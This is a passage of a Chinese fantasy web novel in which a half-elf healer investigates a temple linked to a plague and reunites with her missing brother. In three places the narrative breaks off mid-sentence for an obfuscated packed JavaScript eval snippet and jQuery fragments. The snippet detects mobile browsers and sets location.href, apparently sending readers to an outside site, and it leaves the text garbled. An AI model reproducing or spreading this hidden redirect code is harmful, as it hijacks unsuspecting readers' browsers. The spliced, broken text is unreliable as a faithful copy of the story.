“然后,就是我们调查的机会了。”粼恩下意识接了一句。
“没错。”
克劳斯颔首,舞曲结束,他松开粼恩的手又顺势向她抬起胳膊,粼恩挽了上去,两人朝舞池边走去。
路易莎和拉维尔修士站在那里,这对血缘不知隔了多久的姐妹正哈哈笑着讲起家族里每个人都知道的老旧的八卦,见到克劳斯主动向她们靠近,两人心中不约而同地松了一口气。
“亲爱的费尔西斯先生——”明明是第一次见,拉维尔修士却像是遇到什么熟络的人一般欢笑着向前,她的眼睛从粼恩脸上一扫而过,继而又笑盈盈地看向克劳斯,“听路易莎说您可能要来,这可把我高兴坏了。不过,这丫头从小就见不得人好,故意泼我冷水说您不一定会来,但我知道的——”
拉维尔修士向克劳斯眨了眨那双小眼睛,故作神秘道:“我就是知道您会来的。”
54. 第 22 章
即使面对着的是拉维尔修士,他的态度仍是倨傲的,仿佛不把任何人都放在眼里。
然而,接下来发生的事,却仍如费尔西斯先生料想的那般发展。
拉维尔修士似乎并不在意这种傲慢的对待,当听闻费尔西斯家族对这种神奇的药剂颇有兴趣时,她热情到几乎是迫切地邀请费尔西斯先生以及“费尔西斯小姐”前往喷泉霜圣殿参观。
相传,原初的女神在创造出世间万物后,又用自己的血肉捏造了几个同伴。
她用大脑创造了智慧女神,用炙热滚烫的血液带来了生机勃勃的火与锻造之神,而欢宴女神则是从她双手掌心的肉中诞生的。
于是,欢宴女神亦从掌心中捧出美酒,用掌心抚摸出爱丨欲——也许智慧会有所偏颇,滚烫的火焰会灼烧肌肤,只有爱与欲望与美酒,会毫无保留地欢迎每一个人的到来。
而拉维尔修士邀请他们前往的喷泉霜圣殿,在每一个信徒口中,流传着那里仍保留着圣痕遗迹的故事。
每一个信奉丰赐圣母教的人,每一个歌颂欢宴的人都虔诚地相信,在喷泉霜圣殿深处藏有一口寒池,池底则埋着一瓶装有欢宴女神结霜的眼泪。
因此池水冰凉,日日夜夜散发着寒意,被池水浸泡过的美酒也格外醉人。
所以,有着圣遗迹的喷泉霜圣殿虽然坐落于中心城的最外围,粼恩与克劳斯枢核区租下的小房子乘坐马车前往圣殿需要小半日,但周围的景致却不败落。
从拉维尔修士的晚宴到出发喷泉霜圣殿的这天,时间也才过了两三日,但也就在这两三日,克劳斯收到了不少消息。最重要的一个就是东境境主病逝了,他的孩子尚且年幼,尽管现在局势看似稳定,但莱蒂斯在信中提到,不少势力在向东境靠近。
这和克劳斯推测的相近无几,他们现在最关键的就是要掌握中心城与丰赐圣母教勾结的证据,以及证实红晕症与丰赐圣母教有关。
将这两个问题解决后,精灵古籍与半人传染疾病的谣言就不是什么大问题了。
.
粼恩与克劳斯来到圣殿时,迎出来的圣职人员声称拉维尔修士正进行每六日一次的祈祷仪式,故没能亲自迎接。
闻言,费尔西斯先生并没有说话,只是冷冷地一掀眼皮,那位圣职人员和煦的微笑便维持不住似的顿了顿。
气氛冷然了一瞬,克劳斯才慢慢开口道:“既然如此,我们也没有打扰的必要了。粼恩表妹,我想我们还是回去为好。”
粼恩也不说话,只是配合着点了点头。
两人不做表情时都用一种生人勿进的冷漠感,更何况顶着费尔西斯家族的名头,圣职人员更是冷汗都要下来了。
“两位还请留步,”他急忙上前两步,解释道,“我们的好意就像美酒,未尝其味,也闻其香,怎么会不欢迎二位呢?”
他将两人往喷泉霜圣殿内引:“拉维尔修士的祷告仪式很快就结束了,不如先随在下参观一下圣殿吧?”
粼恩与克劳斯相视一眼,随即两人做出一副勉强的模样,很不情愿地点点头,这才跟着圣职人员进了圣殿。
喷泉霜圣殿的建筑风格十分复古,因此有些地方十分老旧,还有专门的人员在修缮。
从表面上看,这不过是一个风格久远的修道院,看不出什么特别之处,两人被升职人员遛了一会儿,粼恩有些心急了,她转头望向克劳斯,故意道:“克劳斯表兄,我觉得这里也没有什么好逛的,不如回去吧?”
此话一出,不仅是圣职人员的脚步顿住了,粼恩感觉到她挽住的费尔西斯先生的手臂也随之一僵,片刻,他的声音才随之响起:“也好。”
见两人当真要离去,圣职人员慌了神,他赔笑似的晃到粼恩身边,谄媚地劝她:“费尔西斯小姐是觉得累了吗?要不要——”
“我妹妹是觉得无聊了。”克劳斯毫不客气地打断了圣职人员的话,他的个子很高,当他面无表情的俯视他人时,总会给人一种居高临下的无情感。
圣职人员缩了缩脖子,不敢再说些轱辘话,小心翼翼道:“喷泉霜圣殿有一口圣池,平日不对外开放,但既然费尔西斯小姐觉得无聊,二位不如随在下一起去瞧一瞧?”
此话正中二人下怀,他们虽对所谓的圣遗迹并不太感兴趣,但进入到圣殿不对外公开的地方对于调查总是有利。
于是,粼恩稍一思忖,便点了点头,当作同意了。
圣职人员说,进入圣殿深处需要更换上专门的衣物,两人性别不同,所以被带到了不同的更衣室内。
粼恩脱下外衫,换上圣职人员专门为她准备的长袍,上面的针脚细密,光线在其间流动,如同水波流转。她穿好后对着镜子理了理帽子和头发,确保耳朵不会暴露后,抬手推开房门。
推不动。
粼恩皱了皱眉,手下用力,门把手仍旧纹丝不动。
这是突然坏了?
她退开两步,余光却见另一面墙上也有一扇门。
难道是她推错了门?
粼恩向那扇门走去,她试探着推了推,门很轻松地打开了。
粼恩走出门,眼前的光景却变了一个模样,刚刚那个颇为老旧的大厅不见了,映入眼帘的竟是一个蒸腾着热气的水池子。
水雾袅袅,扑在粼恩的面上,她环顾了一下四周,发现这个房间虽然不算大,装潢却格外精美,仿佛是哪位大人物奢华的盥洗室。
热气蒸盈满屋,粼恩自知走错了屋子,反手拧动门把手正准备离去,声响却惊动了浸泡在水池中的人。
“谁在那里?”一个略显熟悉的声音传来,紧接着响起了哗哗的水声。
粼恩下意识看过去,只见一个人影背对着她从热水池中钻了出来,身姿线条流畅,橘红色的长发披在脊背上挡住了大半的风景。
那人伸臂一扯,眨眼间便披上长袍戴上面具,快步走至粼恩面前。
粼恩这才后知后觉到不好意思,她面上一热,一边抱歉一边正要推门离开,怎料那人开口问道:“这么快就忘了我吗?”
粼恩一愣,听出这个声音正是几日前在拉维尔修士府邸上遇到的那个圣职人员。
粼恩讷讷道:“啊,是你,那天那个——”
不料她话还没有说完,那个圣职人员便勾了勾唇靠了过来,他似乎对粼恩非常熟悉,以至于他一直直勾勾地盯着粼恩的眼睛,手却能精准无误地勾住她藏在头发里面的耳朵。
粼恩心中一惊,手下意识地抬了起来,还没来得及握住这人的手,便听见他以一种极其熟稔的语调问她:“这么快就忘了我吗?小尖耳朵?”
小、尖耳朵。
这个非常熟悉的,但极少人知道的称呼将粼恩牢牢地钉在了原地。
她的脑海里空白一片,什么念头都没有,手却以一种出乎意料的速度朝那人脸上伸去。那人也不躲,就这样静静地凝睇着她,直至面具被粼恩揭了下来。
于是,一张艳丽的、沾染了水汽的面孔就这样暴露在她的面前。
粼恩打量着这样一张脸,并从中找出了许多熟悉的影子:和发丝一样橘红色的眉毛弯弯,蓝绿色的眼睛就像雨后盈满的湖水,粼粼闪动,他的皮肤白皙,脸颊处有两道浅浅的缝隙,就连耳朵也和她一样尖尖翘翘。
这是一个水泽精灵与人类的混血儿。
同时也是玛琳娜收养的第一个孩子,粼恩失踪了七年的、名义上的哥哥——卡莱尔。
“大尖耳朵、卡莱尔……”粼恩喃喃自语,表情空茫,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293094|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你怎么会在这儿?”
“看来粼恩还记得我。”卡莱尔微笑起来。
他与粼恩同样有着水泽精灵的血脉,因此在外貌上有许多相似的特征,但比起粼恩面上的冷淡,卡莱尔则长得更加吸引人的注意力,再加上他现在已经从一个青涩的少年长成一个颇具风姿的青年,一笑起来更是光彩夺目。
但粼恩仍是一副不敢置信的样子,她攥着卡莱尔的手腕,不断提问。
问他当年怎么突然失踪了,问他这些年去了哪里,问他过得好不好,又问他为何会成为丰赐圣母教的圣职人员。
一长串问题劈头盖脸地扑向卡莱尔,但他只是颤了颤纤长的睫毛,简单地解释:“我当年被人拐走,辗转多地,幸得拉维尔修士帮助,所以才加入了丰赐圣母教。”
拐走?
粼恩不解地眨了眨眼,卡莱尔当年失踪时已近成年,一个年轻人怎么会被突然拐走?
但她还没有来得及将这个问题问出口,耳朵就被卡莱尔捉在手里,亲昵地捏了又捏:“倒是你小尖耳朵,七年未见,你怎么从卡莱尔的妹妹变成了克劳斯·费尔西斯的妹妹了?”
这句话听起来像是一个哥哥在吃醋,但问题却直戳关键。卡莱尔当然知道粼恩不可能是费尔西斯先生的远方表妹,可他现在的身份又敏感,粼恩不能保证他会将他们的关系说漏嘴。
幸好两人一靠近就仿佛分离的七年并不存在一般,粼恩“哎呀”一声,再一推卡莱尔的腰身,露出一点气鼓鼓的样子,卡莱尔便知这个问题她不想回答了。
两人都是水泽精灵与人类的混血儿,自然不会嫌弃屋内水汽浓重,他们靠在一起嘀嘀咕咕地说了一会儿话,关系似乎就和当年一样亲密了。
意外与卡莱尔重逢,粼恩自然是又惊又喜,她侧着身又细细地打量了一回卡莱尔,直到现在她才觉察到卡莱尔仅披了一件外袍——是的,她刚刚误入这里的时候卡莱尔似乎还在沐浴。他橘红色的长卷发还是湿漉漉的,在他们说话的期间将他身上的长袍濡湿了大半,也将他的宽阔的肩线以及消瘦的腰身隐隐约约地勾勒了出来。
粼恩的脸不由得红了,她感到一阵尴尬,对话也就停了下来。
卡莱尔敏感地察觉出她的局促,抬手摸了摸她橘色的头发,换了一个问题,温和地问:“你今天怎么会到这里来呢?”
“我来这儿参观一下,他们说要换外袍才能继续参观,”粼恩晃了晃手臂,示意他看她的外袍,“换好后,却不知道怎么进了你的盥洗室。”
“这样啊。”卡莱尔歪了歪头,起身将粼恩带回到刚才进来的更衣室,他推了一下另一扇门,通过缝隙,粼恩瞧到了她最初进来时那个破旧的大厅。
“就是你推错了门吧,”卡莱尔亲昵地刮了刮她的鼻尖,又道,“不是要去参观吗?快去吧。”
听着他的话,粼恩虽然疑惑但也将手搭在了门把上,正要出去前,她又顿住了:“可是你,我们——”
“我们会再见的,小尖耳朵。”
卡莱尔衣衫不整,自然只能留在更衣室内,他拍了拍她的头,絮絮叨叨地感慨她长大了,又催促着她快点出去,他要换衣服了。
粼恩被他这么一调侃,想说的话又都落回了肚子里,她只好推开门走出去,正好遇上了在一旁等候的费尔西斯先生和圣职人员。
“费尔西斯小姐也换好了外袍,那么我们就出发吧!”
见粼恩挽上了克劳斯的胳膊,圣职人员便尽心尽力地朝前方带路。
两人跟在他的身后,脚步声叠着脚步声在长长的走廊里回荡着,粼恩的半个心神还挂在久别重逢的卡莱尔身上,耳边却突然响起了费尔西斯先生的声音。
他淡淡地问:“外袍怎么湿了?”
55. 第 23 章
闻言,粼恩不由得愣了一愣,她低头看看长袍,那里的确被濡湿了一小块,应当是在水池边坐下时弄到的。
但与卡莱尔偶然相遇的这件事情,粼恩在潜意识里觉得先不要和费尔西斯先生说太多为好,于是她摇摇头,将话题带过去了。
他们继续在长长的廊道里行走,克劳斯没再继续提起那个话题,但他知道粼恩一定在更衣室内经历了什么。
克劳斯的感官很敏锐,他从她不同以往的、带有一丝雀跃兴奋的神情中,她沾染了潮热水汽的发丝间,还有她身上传来的若有若无的洋甘菊香上,都找到了证据。
这证据证明了更衣室那一扇门后,有着粼恩不想告诉他的事。
或者人。
她不想告诉他,那就意味着这件事情不重要,又或者很重要,重要到她觉得这种场合并不适合明说。
克劳斯垂了一下眼睫,心想,密闭的马车车厢就是一个不错的地点。
两人心思各异,廊道虽长,竟然也很快就走完了。
“费尔西斯先生,费尔西斯小姐,”圣职人员带着他们走到一扇向下倾斜的在窄门前,提醒道,“接下来我们将走近霜圣池,里面的空气寒冷,但不必担忧,二位身上的长袍可以防止寒气侵扰躯体。所以,还请怀揣着所有的期待与热情,感受圣古遗迹的震撼吧!”
在圣职人员激动的声音中,窄门被骤然拉开,一股寒意带着洁白的霜花朝三人迎面扑来。
这股寒意并不如呼啸的北风那般凛冽,也不如卷着碎冰的河水那般刺骨,它更缥缈,更无形,就像在荒原上游荡已久快要消散的幽灵,轻飘飘地从人身上穿过。
粼恩从这寒气上嗅到了悲伤的潮气,她不由得疑惑,难道真有什么圣遗物吗?
这里真的藏有欢宴女神结霜的泪水吗?
她跟随着圣职人员往下走,越深入,便越能听见一阵细碎的隐约可闻的歌声飘来。粼恩下意识看了费尔西斯先生一眼,他的脸色沉静自然,与平时并无两样,是她听错了吗?
粼恩疑惑了一瞬,一脚踏在结了霜的地面上,差一点就滑倒了。
“小心。”
费尔西斯先生的臂膀撑住了她的腰背,粼恩心有余悸,撑着费尔西斯先生的手臂站好后向前望去,随即就被眼前的景象惊在了原地。
这是一个远比地上圣殿面积更大,更辽阔的深潭,无数的冰棱堆积在水面上,按照一个方向淙淙流动。
潭水不停地流动旋转,卷起一个一个小小的漩涡,这大概就是冰棱无法完全凝结在一起的缘故。
这里没有燃灯,只有一线阳光从穹顶的正中间照耀下来,反射在冰棱上,将整个地下空间都照亮了。
顺着光往寒潭的四周看,那里分别放置了十二座高大的石像,呈圆环型摆放,雕刻了欢宴女神所做过的十二件圣事。不断变换的、碎片状的光落在石像上,稍一变化站立角度,就会让人生出一种被石像注视着的诡异之感。
粼恩暗暗吸气,克劳斯却上前两步,审视了石像一番,又转身面向圣职人员,用一种正在巡视产业的主人家询问租户、佃农的语调道:“寒潭除了埋有女神霜泪、酿造酒业外,还会用来做什么?”
圣职人员微惊,此前到此地参观寒潭的人,无论性别地位,多少都会表现出一种崇敬的表情。而这位费尔西斯先生,面对神明遗迹,仍是保有一种质疑、审问的态度。
不愧是费尔西斯家族的核心成员,圣职人员咬了咬牙,果真如修士所言,北境来的家伙都是难啃的硬骨头,仿佛因为他们已经在北境的风雪里历练了已久,于是再非凡的东西也不能够打动他们坚硬的心了。
但是,就连他们也渴望着能够治愈“红晕症”的药剂,想到这儿,圣职人员又难免得意了两分。
他挺了挺背,郑重道:“当然不止了。两位为那神奇的药剂而来,但并不知晓吧,那药剂之所以如此神奇,当然离不开这圣水的功效。”
“圣水?”克劳斯慢条斯理地问道。
“正是。药剂的制作可少不了这一池圣水。”圣职人员自豪地挺直了腰身,正打算仔细地讲解一番,话却被一阵脚步声打断了。
脚步声来自他们刚刚走下来的阶梯处,随之响起的则是几声交谈,粼恩循声望去,只见一位圣职人员身着与拉维尔修士相似的服装,带领着一位人类男性走来。
“赫忒斯修士。”他们身边的那位圣职人员急忙行礼,克劳斯随即意识到他口中的这位赫忒斯修士正是与拉维尔修士同级的、十二修士中的一位。
而他带领的那位人类男性不就是——克劳斯的思绪停顿了一瞬,他察觉到粼恩急急忙忙地站至他身后,十分紧张的样子。
克劳斯抬头看向那位人类男性,他脸上的病气已经不在,但浅浅的红斑仍锲而不舍地落在他的脸上,彰显他得过“红晕症”的事实——费舍,在绿云庄园举办晚宴,让他与粼恩初次相遇的费舍。
粼恩躲避的原因,自然也就明了。她与费舍曾是医患关系,现在她又顶着“费尔西斯家族表小姐”的名头,骤然一遇上难免穿帮。
想到这儿,克劳斯不动声色地往前挡了挡,还没来得及做下一步,便见费舍十分激动地快步上前,对粼恩打了一个招呼:“好久不见,粼恩医师,没想到会在这里遇见您。”
“粼恩医师?”克劳斯回头,只见赫忒斯修士款款走来,十分好奇地问,“费舍先生,这位就是你先前提到的能治愈病症的粼恩医师?”
“正是,赫忒斯修士。”许久不见,费舍仍是十分善谈的模样,他先是夸耀了一番粼恩的本事,又感慨起他生病的经历,“当初,我以为只是因为要为中心城提供红宝石累病了,没想到原是被‘半人’传染了病症。赫忒斯修士,我实在佩服你们,居然愿意为‘半人’看诊并提供药剂……”
红宝石?
听到这儿,粼恩与克劳斯立刻相视一眼,同时意识到了事情的突破口。
“费舍先生,没想到您的事业已经开拓到中心城了,”顶着身份被拆穿的风险,粼恩主动对费舍道,“您花费了如此心血,想必中心城的大人们也对您的宝石十分满意吧?”
费舍对粼恩突然从不善言辞转变到主动向他问起病症以外事物的态度微微一愣,但这毕竟是他的救命恩人,费舍自然也不会在这种
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301867|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小事上过多纠结,更何况他们都身处于圣殿的寒潭边,这说明了他们某种程度上是有着一致利益的。
“这当然了,粼恩医师。”回想起那条赤红的矿脉,那数枚切割后耀眼的宝石,以及即使得了病症但总归搭上了中心城的核心人物这条线,费舍便陶醉了几分,“这条矿脉产出的宝石不仅在金雀花大会上作为礼物献上,而且这条矿脉本就不一般呢——还记得当年维洛兰王国从山地精灵手中夺下的那条矿脉吗?这条矿脉换了几任主人,终于在我的手里展示其最大的光芒!”
随着费舍激昂的语调落下,粼恩的心也重重地跳了两下。
红宝石——如果费舍并非夸耀,那么这条线便也明朗了。
.
夜晚,粼恩站在旅店的房间内,望着不远处的圣殿,微微出神。
费尔西斯先生此刻正在旅店的会客室内与费舍交谈,晚风习习,将轻微的声响吹散了。
今日下午,拉维尔修士与赫忒斯修士极力邀请他们留宿一晚,粼恩与克劳斯想到他们可以借此探查一番,也便顺势答应了。
克劳斯正从费舍口中套话,而粼恩——
她意识到她必须也得做些什么,圣殿里藏着许多秘密,有关红晕症,有关精灵古籍,有关卡莱尔,这些她都要知道。
所以,她下定了一个决心,她要夜访圣殿,最好能从寒潭中取得一瓶“圣水”,再找机会与卡莱尔见一面。
粼恩换好衣服,趁着夜色朝圣殿潜伏。
粼恩的体重轻,脚步轻盈,她走在圣殿之中,就像一片叶子落在地上,不发出丝毫声响。
循着白日里的记忆,很快她就走到了窄门前,事出特殊,粼恩没有披上防寒的外袍,她吸了一口气将手按在门上向前推动——
吱呀——
老旧的门发出了刺耳的呻吟,很快就将在圣殿内走动的巡夜人员吸引了过来。
“谁?谁在那里?”
粼恩心中一惊,正要趁夜色逃离,怎料一件外袍从背后包裹了上来,她陷进了一个散发着洋甘菊味道的怀抱:“是我。”
是卡莱尔。
卡莱尔的外袍很长很大,容纳多一人也不成问题,再加上夜色昏暗,巡夜人员认出是卡莱尔后便不再靠近。粼恩靠在他的怀里,听见长袍之外卡莱尔的声音幽幽传来:“你躲在这里做什么,小尖耳朵?”
粼恩憋着不说话,卡莱尔轻轻一叹,将窄门推开了。
他半钳制着粼恩朝寒潭走去,此时地下空间只有他们二人,那阵虚无缥缈的歌声便越发的明显了,月光浮在冰棱上,凝起一片蓝色的霜花。
“去吧。”卡莱尔松开手臂,又将盖在粼恩身上的长袍掀下一半,催促道,“去吧。”
“卡莱尔,你……”对卡莱尔的突然出现,粼恩感到意外,但卡莱尔似乎知道她想要做什么事情,这更让粼恩吃惊。
“‘你怎么知道我要做什么’,对吗?”卡莱尔轻轻笑道,在冷冷的月光下,他那双蓝绿色的眼睛幽幽地反着微光,既美丽又显得鬼魅,“从小到大,你有什么事情瞒得住我?小尖耳朵,你是来调查‘红晕症’和药剂的吗?”
56. 第 24 章
卡莱尔的话直白,粼恩站立在原地,直直地回望他。
两人都没有说话,半晌,她才转身从怀里拿出一个小瓶子到寒潭边取水。
隔着厚厚的瓶身,粼恩仍能感受到凉意,并从这池水中闻到了熟悉的植物的味道。
她收好瓶子,面向卡莱尔,问道:“卡莱尔,你为什么觉得我是来调查‘红晕症’和药剂的呢?”
“因为推断,因为对你的了解,”卡莱尔静静地望着粼恩,在她露出些许诧异的表情的那一刻,他突然笑了起来,“当然不是了,小尖耳朵,消息是有翅膀的鸟儿,你可阻拦不了它要飞向哪里。你还不知道吧,‘粼恩医师’的名头现在已经比‘费尔西斯小姐’出名了,只是他们没有见过你罢了。”
他微微叹了一口气,似感慨一般道:“我实在没有想到,七年未见,你已经这么厉害了。一个‘半人’,在如此短暂的时间内,做出的成就已经比绝大多数人类要高了。”
这听着像一个兄长发出善意的感慨,然而这样带着欣慰语调的话,并不能感染粼恩半分。
正相反,她从卡莱尔轻柔的话语里听出了某种观念的转变。
“这句话是什么意思?”她皱着眉上前两步,比起她的出名,她现在更在意卡莱尔对半人轻佻的态度,“什么叫做……”
粼恩摇了摇头,似乎想将反感与不满压下,但那种不适的感觉却渐渐腾起:“我是半人,你是半人,玛琳娜是半人,我们都是半人,你为什么要说刚刚那种话?卡莱尔,你当初可不是这样的。”
也许是最后一句话过于想当然了,卡莱尔含笑的眼眸一下子浸染了霜。
“我当初是什么样的?”他沉默了片刻,突然反问,“愤世嫉俗?对‘半人’的地位感到不满?小尖耳朵,你把事情想得太简单了,其实‘半人’和人类没有什么不同。”
半人与人类是没有什么不同,然而他所表达的意思却似乎并非粼恩理解的那样。
卡莱尔的一番话将粼恩绕晕了过去,她眨眨眼,思绪跳出了这个让卡莱尔变得古怪的话题,换了一个话题直接问道:“那么关于这个病症,丰赐圣母教既然有能够救治姓名的药剂,那么你知道它其实不是由‘半人’传染的吗?”
“我知道呀,”卡莱尔耸耸肩,轻松地回答,“我还知道药剂需要蓝叶藻的根须,你能治好大家也是因为蓝叶藻吧?真怀念啊,小时候在湖水里探索的日子。”
他在说什么?
粼恩瞠目结舌,不仅仅是因为卡莱尔短短两句话就将大部分信息都说了出来,还因为他那种无关紧要的态度和语气。
也许是粼恩的表情实在有趣,卡莱尔居然噗哧一声笑了出来。
见她的嘴唇因为寒冷有些发白,他又靠了过来,主动将外袍敞开示意她钻进来:“干嘛露出这样的表情,小尖耳朵,你是成长了很多,可是这个世界终究比你想得要复杂——”
“……别用这样的语气对我。”粼恩退后了两步,见卡莱尔执意靠近,她的语调不由自主激动了几分,“卡莱尔,你……别再用那种对待孩子的语调哄我。也别再用那样轻浮的态度去讲述一种致命的病症!”
粼恩挥开了卡莱尔伸过来的手,她既是不可置信,又是愤恨。因为情绪起伏,她的眼底被激出一层薄薄的泪花,然而她的语气却十分坚定:“我不知道你经历了什么,但你既然知道这病症不是由‘半人’引起的,那么也一定清楚病症率先从‘半人’中爆发,我们身上承受了许多不该承受的非议!
“住在隔壁的佩吉大婶,你还记得她吗?她帮助玛琳娜照顾了我们多年,可她却因为红晕症病死了!死前还被她的雇主羞辱了一番!”
听到这里,卡莱尔表情扭曲了一瞬,他突然大喝了一声:“那是她活该!”
粼恩不由得又退后了两步,只见卡莱尔露出了一个极度痛快的表情,像是什么仇人暴毙畅快至极一般重复:“那是她死有余辜!”
再艳丽的脸在此刻也显得狰狞,粼恩听着他既恨又兴奋的话,长久地愣住了。
像是被她空白的表情刺激到似的,又像是不愿意在掩饰了,卡莱尔上前两步攥紧粼恩的胳膊:“你们不知道吧,就是她将我卖进丰赐圣母教的!她装作一脸和善,实际上还不是为了那一点金币就对邻居的孩子下手。幸好她抓到的是我,要是抓到了你——”
卡莱尔突然顿住了,他不再开口说话,而是仔细端详起这个七年未见面的妹妹的脸庞,试图从她脸上找出一丝崩塌的迹象,但她没有,她只是开始颤抖,不仅是嘴唇,脸颊也失去了颜色一般。
他又心软了。
卡莱尔将粼恩揽进怀里,哄小孩似的拍着她的脊背,用长袍把她包裹得严严实实:“半人与人类的矛盾是很深,但半人其实和人类一样,不是吗?有好有坏。所以,你不必将关于半人的事都背负在自己身上,只要过好自己的生活就行了,你太瘦了,玛琳娜会担心。不要活得太累了,小尖耳朵。”
粼恩不动了。
卡莱尔以为她被自己说服了,可是片刻之后,却听到她低低的声音从胸前传来:“你说过好自己的生活,但是,如果自己的生活也被影响了呢?如果玛琳娜得了红晕症,如果我得了红晕症,如果奇娅和小图得了红晕症呢?你是不是也可以,过好你自己的生活?”
这一番话实在惊心,卡莱尔竟也不由自主地颤抖了起来,他环抱住粼恩,又将她的脸掰起来仔仔细细地观察了一遍,没有,没有红斑。
他慢慢地松了一口气,还没有叫她不要说这种话,便听到粼恩问他:“你在找这个吗?”
她挣扎着从他的怀里挣脱出来,又将袖子挽起,于是黯淡的、不详的红斑就这样突兀地映入卡莱尔的眼帘。
“你……你怎么会,你不是——”
卡莱尔的声音干涩了一瞬,他紧紧抓住粼恩的胳膊,脑海里又联想到了许多:“所以你才知道蓝叶藻的效果……那玛琳娜呢?她有没有事?奇娅和小图呢?”
“原来你还会在乎我们……”
粼恩摇了摇头,她的声音很轻,却像一把尖刀轻而易举地剖开了他的心。卡莱尔苦笑了一下,竟什么话也说不出来了。
两人无言以对了片刻,粼恩越觉得四周寒冷。
她想,既然已经拿到了想要的东西,还是尽早离开为好。她又叹了一口气,看着这个曾经勇敢热情的哥哥,正要开口说些什么,入口的楼梯处却传来了沉重的脚步声。
“亲爱的,你怎么又到这里来了?”
拉维尔修士的声音随之响起,粼恩不由得一惊,左顾右盼想看看哪里可以躲藏,头上却被长袍蒙住了。
“他们已经注意到你,不要再往深处调查了,快点回家吧,别告诉玛琳娜我还活着。”卡莱尔在她耳边快速道,接着又告诉她哪里可以离去。
叮嘱完,他急忙抬起头高声应了一声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312855|193756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“不过是习惯下来看看圣水罢了。”
紧接着他将粼恩往石像旁一推,对她打了一个见机行事的手势,便朝着拉维尔修士声音传来的方向走去。
.
按照卡莱尔嘱咐的话,粼恩在地下空间寻找到了另外一个隐蔽的出口。钻过通道,粼恩发现自己居然站在了圣殿外。
她向旅店的方向走去,寂寥的夜风吹拂过树丛,与此同时传来的只有守夜人巡视时的脚步声。
现在已经很晚了,旅店里会客厅的灯光都已经熄灭,粼恩不想惊动门房,让旁人知道她出去过,而房间又在二楼,她干脆攀着外墙径直翻进了房问。
屋里没有点灯,粼恩虽夜视能力佳,动作轻,但沉重的心事却让她忽略了放在窗台的一只花瓶。
啪——
清脆的碎裂声在寂静的夜色中响起,粼恩心中一惊,维持着蹲在窗台上的姿势不敢动了。
很快,有脚步声响起,房门打开又合上,与敲门声同时响起的是费尔西斯先生低沉的声音:“粼恩?发生什么事了?”
粼恩屏住呼吸,她本想敷衍过去,犹豫了两下,却又不知为何上前将门打开了。
吱呀一声,橘黄色的灯光从门缝处倾斜进来,随即照亮了门口一小片空间。粼恩顺着光望去,费尔西斯先生穿着正式,提着一盏油灯站在门外,他竟也没有休息吗?
粼恩疑惑了一瞬,还是将门敞开让费尔西斯先生进来了。
屋内昏暗,但大开的窗户以及碎了一地的花瓶证明了粼恩是刚从窗外翻进来的,而她身上的衣服——
“刚刚去了一趟圣殿吗?”克劳斯问道,他看着她疲倦的脸色以及微红的眼眶,便知道又发生了什么事情。
又发生了什么特别的事,又见到了什么特殊的人,竟然能够让你从对红晕症的调查中分出心神,并为此困扰?
他想开口问,但看见她倦怠的动作,那些波动的心情又被强行压了回去。粼恩倒是没有考虑这么多,知道来者是费尔西斯先生后,她便直接忽略了要解释前因后果,或者是否需要隐瞒什么的思虑。
她从梳妆台前搬来一张椅子示意费尔西斯先生坐下,又将怀中装有圣水的瓶子递给他:“丰赐圣母教或许已经注意到我们了。”
粼恩来不及分辨卡莱尔话中的真假,也懒得去修饰言语,干脆将卡莱尔告诉她的事一股脑地向费尔西斯先生倒。
费尔西斯先生倒也没有不耐,他目光沉沉,若有所思,然而粼恩却因为倾述似的说话,心情也舒缓了些许。
理智慢慢回到她的身上,顾虑也重新袭上心头,她开始犹豫夜晚突然和费尔西斯先生谈论这些是不是不合时宜?但她还没有来得及说出口,费尔西斯先生却突然对她道:“你想回去吗?”
回去?回去哪里?
粼恩尚未反应过来,又听他道:“你想待在这里吗?明天还想去圣殿吗?”
这个问题倒是很好回答,粼恩摇摇头,便见费尔西斯先生站了起来,对她伸出一只手,邀请道:“那就走吧。”
走?走去哪里?
她的思绪一片空白,身体却优于此站了起来。粼恩挽住费尔西斯先生的手臂,两人就这样走出了房间,踩着楼梯往外走去。
楼梯发出咚咚咚的声响,她的心也扑通扑通跳个不停。她觉得自己好像做梦一样,被费尔西斯先生拉着坐上了马车,径直地朝种植了玫瑰花从的宅院奔去。